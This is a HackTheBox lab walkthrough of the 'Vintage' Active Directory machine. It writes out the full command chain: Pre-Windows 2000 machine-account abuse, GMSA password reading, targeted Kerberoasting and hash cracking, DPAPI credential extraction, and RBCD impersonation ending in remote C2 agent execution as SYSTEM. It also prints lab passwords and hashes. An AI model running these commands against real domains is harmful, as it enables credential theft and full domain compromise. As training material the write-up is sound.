Vintage

Initial machine information

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

Vintage - HackTheBox Machine

Overview

Vintage is a Hard-difficulty Active Directory machine on HackTheBox centered around Kerberos-based authentication, GMSA abuse, and resource-based constrained delegation. The target environment has password authentication disabled, forcing the use of Kerberos tickets throughout the entire attack chain. The path begins with exploiting the Pre-Windows 2000 Compatibility group to gain access as a machine account, which leads to reading a Group Managed Service Account (GMSA) password. From there, AD group memberships are manipulated to enable disabled service accounts and perform Kerberoasting, ultimately yielding credentials for a user with remote management access. Lateral movement involves extracting cached credentials from DPAPI to pivot to an administrative account. Privilege escalation is achieved through resource-based constrained delegation (RBCD), impersonating a domain admin to gain SYSTEM-level access on the domain controller.

Recon

Nmap Scanning

The engagement begins with a comprehensive Nmap scan to identify open ports and running services on the target machine. Two scans are run in sequence: a default port scan with service detection and script enumeration, followed by a full port scan covering all 65535 TCP ports.

sudo nmap -sC -sV -vv -oA tcp 10.129.231.205 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.231.205

The scan results reveal standard Active Directory services such as DNS (53), Kerberos (88), LDAP (389/636), SMB (445), and WinRM (5985). Notably, password-based authentication is not enabled on this domain controller, meaning we must rely entirely on Kerberos ticket-based authentication for all interactions.

Time Synchronization and Kerberos Configuration

Kerberos is highly sensitive to clock skew between the client and the domain controller. Any time difference greater than 5 minutes will cause authentication failures. We synchronize our system clock with the DC using ntpdate:

ntpdate 10.129.231.205

Next, we configure the /etc/krb5.conf file to define the Kerberos realm and point to the domain controller as both the KDC and admin server. This is essential for all Kerberos operations from our Linux attack box:

[libdefaults]
        default_realm = VINTAGE.HTB
        dns_lookup_realm = false
        dns_lookup_kdc = false
[realms]
        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
                admin_server = dc01.vintage.htb
        }
[domain_realm]
        .vintage.htb = VINTAGE.HTB
        vintage.htb = VINTAGE.HTB
 

SMB and LDAP Enumeration

With Kerberos authentication configured, we use NetExec (nxc) to spider the available SMB shares and check for any accessible files or sensitive data. The spider_plus module recursively enumerates share contents:

nxc smb dc01.vintage.htb --use-kcache -M spider_plus

We also enumerate domain-joined computers via LDAP using the dump-computers module. This gives us a list of machine accounts in the domain, which will be useful for identifying potential targets:

nxc ldap dc01.vintage.htb --use-kcache -M dump-computers

BloodHound Collection

To map out the Active Directory attack paths, we run the BloodHound Community Edition Python collector. This tool queries LDAP to gather information about users, groups, computers, sessions, ACLs, and trust relationships, then ingests the data into BloodHound for graphical analysis:

bloodhound-ce-python -c all -u p.rosa -p Rosaisbest123 -k -d vintage.htb -dc dc01.vintage.htb --dns-tcp -ns 10.129.231.205

BloodHound Analysis

Examining the BloodHound data reveals several important findings. The domain follows a naming convention where administrative accounts use the _adm suffix (e.g., C.Neri_adm, L.Bianchi_adm), distinguishing them from their standard user counterparts:

A critical discovery is that the Pre-Windows 2000 Compatible Access group is in use. Machine accounts added through this legacy compatibility group have a default password that matches the machine account name (without the $ suffix and lowercased). This is a well-known security risk documented by Semperis: https://www.semperis.com/blog/security-risks-pre-windows-2000-compatibility-windows-2022/

This vulnerability only applies to machine accounts, not to standard user accounts.

Exploiting Pre-Windows 2000 Machine Account

Using the knowledge that the FS01$ machine account has a password equal to its account name (fs01), we authenticate and gain access to SMB shares as this machine account:

GMSA Password Retrieval

BloodHound reveals that FS01$ has the ReadGMSAPassword privilege over the GMSA01$ Group Managed Service Account. GMSA accounts have their passwords automatically managed by Active Directory and stored in the msDS-ManagedPassword attribute, which is only readable by authorized principals:

We use bloodyAD to read the GMSA password hash for GMSA01$, authenticating as FS01$ with Kerberos:

bloodyAD -k -d 'vintage.htb' -u 'fs01$' -p fs01 --host dc01.vintage.htb get object 'GMSA01$' --attr msDS-ManagedPassword

Creating a Keytab and Obtaining a Kerberos Ticket for GMSA01$

Since we have the NTLM hash of the GMSA account but not a plaintext password, we use ktutil to create a keytab file. A keytab stores the encryption key derived from the hash, allowing us to request Kerberos tickets without knowing the actual password:

ktutil
add_entry -p GMSA01$ -k 1 -e rc4-hmac -key 97cfb75bbec2028f1c97975a5ab58e82
 

With the keytab created, we initialize a Kerberos TGT (Ticket Granting Ticket) for the GMSA01$ account:

kinit -k -t /tmp/krb5cc_2000 'GMSA01$'

Alternatively, the same authentication can be performed directly through NetExec using pass-the-hash:

nxc smb dc01.vintage.htb -u 'GMSA01$' -k -H '97cfb75bbec2028f1c97975a5ab58e82' --shares

Abusing GMSA01$ Privileges - Adding to ServiceManagers

BloodHound shows that GMSA01$ has GenericWrite over the ServiceManagers group, which means we can modify group membership:

The ServiceManagers group in turn has GenericAll over several service accounts (svc_sql, svc_ldap, svc_ark), granting full control over these accounts including the ability to reset passwords, modify SPNs, and change account flags:

We use bloodyAD to add GMSA01$ to the ServiceManagers group:

bloodyAD -k -d 'vintage.htb' -u 'GMSA01$'  --host dc01.vintage.htb add groupMember SERVICEMANAGERS 'GMSA01$'

Group membership changes in Kerberos are embedded in the TGT at the time of issuance. For the new group membership to take effect, we must request a fresh ticket:

kinit -k -t /tmp/krb5cc_2000 'GMSA01$'

Targeted Kerberoasting via SPN Manipulation

Now that GMSA01$ is a member of ServiceManagers with GenericAll over the service accounts, we can perform a targeted Kerberoasting attack. First, we enable the disabled svc_sql account by removing the ACCOUNTDISABLE UAC flag:

bloodyAD -k -d 'vintage.htb' -u 'GMSA01$'  --host dc01.vintage.htb  remove uac "svc_sql" -f ACCOUNTDISABLE

Next, we set Service Principal Names (SPNs) on all three service accounts. SPNs are required for Kerberoasting because the attack works by requesting TGS tickets for services, which are encrypted with the service account's password hash:

bloodyAD -k -d 'vintage.htb' -u 'GMSA01$'  --host dc01.vintage.htb set object 'svc_ark' servicePrincipalName -v 'cifs/ark_something'
bloodyAD -k -d 'vintage.htb' -u 'GMSA01$'  --host dc01.vintage.htb set object 'svc_sql' servicePrincipalName -v 'cifs/sql_something'
bloodyAD -k -d 'vintage.htb' -u 'GMSA01$'  --host dc01.vintage.htb set object 'svc_ldap' servicePrincipalName -v 'cifs/ldap_something'

With SPNs set, we perform the Kerberoasting attack using NetExec to request and dump the service ticket hashes:

nxc ldap dc01.vintage.htb --use-kcache --kerberoasting hashes

Cracking the Kerberoasted Hashes

The extracted Kerberos 5 TGS-REP hashes (hashcat mode 13100) are cracked offline using hashcat against the classic rockyou.txt wordlist:

hashcat -m 13100 -a 0 hashes /mnt/hgfs/I/data/rockyou.txt

The password Zer0the0ne is successfully cracked for one of the service accounts. While this credential alone doesn't provide a direct path forward, it becomes valuable through password reuse.

Foothold

Identifying Remote Management Users

Reviewing BloodHound data, we identify all domain users and note which ones have remote management (WinRM) access to the domain controller:

M.Rossi
R.Verdi
L.Bianchi - Remote management
G.Viola
C.Neri - Remote management
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

Only L.Bianchi and C.Neri have WinRM access, making them our target accounts for initial foothold.

Password Reuse Discovery

By manually testing the cracked password Zer0the0ne against the identified users, we discover that C.Neri is reusing the same password as the svc_sql service account:

We request a Kerberos TGT for C.Neri using the discovered password:

WinRM Access

With a valid Kerberos ticket for C.Neri, we connect to the domain controller via Evil-WinRM, which supports Kerberos authentication through the -r (realm) and -K (ccache file) flags:

evil-winrm -i dc01.vintage.htb -r vintage.htb -K /tmp/krb5cc_1000

This gives us an interactive PowerShell session on the domain controller as C.Neri, and we can retrieve the user flag. We also deploy an Adaptix C2 agent for persistent access and enhanced post-exploitation capabilities.

Host Enumeration with Seatbelt

We run Seatbelt, a comprehensive .NET host-survey tool, to enumerate the local system for interesting security configurations, credentials, and potential privilege escalation paths:

Lateral Movement

DPAPI Credential Extraction

Through further enumeration, we discover that C.Neri has DPAPI-protected credentials stored on the system. DPAPI (Data Protection API) is used by Windows to encrypt sensitive data such as saved passwords, and the master key is tied to the user's logon session:

Switching Logon Context with RunasCS

To access the DPAPI-protected credentials under the correct logon context, we use RunasCS.exe to spawn a new process under C.Neri's interactive logon session. This ensures the DPAPI master key is available for decryption:

Extracting C.Neri_adm Credentials

Running Seatbelt again under the correct logon context reveals cached credentials for the C.Neri_adm administrative account, which were protected by DPAPI:

Identifying C.Neri_adm Privileges

BloodHound shows that C.Neri_adm is a member of the DelegatedAdmins group, which has significant privileges in the domain:

We verify that the extracted credentials work by authenticating as C.Neri_adm:

Privilege Escalation

Resource-Based Constrained Delegation (RBCD) Attack

Analyzing the attack path in BloodHound, we see that C.Neri_adm has GenericWrite over the DelegatedAdmins group, and DelegatedAdmins has the AllowedToAct privilege on the DC01 domain controller. This means any member of DelegatedAdmins can impersonate users via resource-based constrained delegation (RBCD) against the DC:

Adding FS01$ to DelegatedAdmins

We add the FS01$ machine account (whose credentials we control) to the DelegatedAdmins group using C.Neri_adm's credentials:

bloodyAD -k -d 'vintage.htb' -u 'c.neri_adm' -p Uncr4ck4bl3P4ssW0rd0312 --host dc01.vintage.htb add groupMember DELEGATEDADMINS 'fs01$'

We then request a new forwardable TGT for FS01$ to include the updated group membership. The -f flag ensures the ticket is forwardable, which is required for delegation:

kinit -f 'fs01$'

S4U2Self and S4U2Proxy - Impersonating a Domain Admin

Using Impacket's getST tool, we perform the S4U2Self and S4U2Proxy protocol extensions to request a service ticket to cifs/dc01.vintage.htb while impersonating a privileged user. The initial attempt to impersonate the built-in Administrator account fails because it is configured to deny network logons:

impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate administrator 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb -k -no-pass

Impersonating L.BIANCHI_ADM

Since the built-in Administrator is restricted, we target L.BIANCHI_ADM, another domain admin account that does not have network logon restrictions:

impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate 'L.BIANCHI_ADM' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb -k -no-pass

We export the resulting ccache file as our active Kerberos credential:

export KRB5CCNAME=L.BIANCHI_ADM@[email protected]

Gaining SYSTEM Access

With a valid service ticket impersonating L.BIANCHI_ADM, we use NetExec to execute our pre-staged C2 agent on the domain controller with full administrative privileges:

nxc smb 10.129.231.205 --use-kcache -X 'C:\\users\\c.neri\\desktop\\agent.x64.exe'

The agent connects back, confirming SYSTEM-level access on the domain controller. The machine is fully compromised.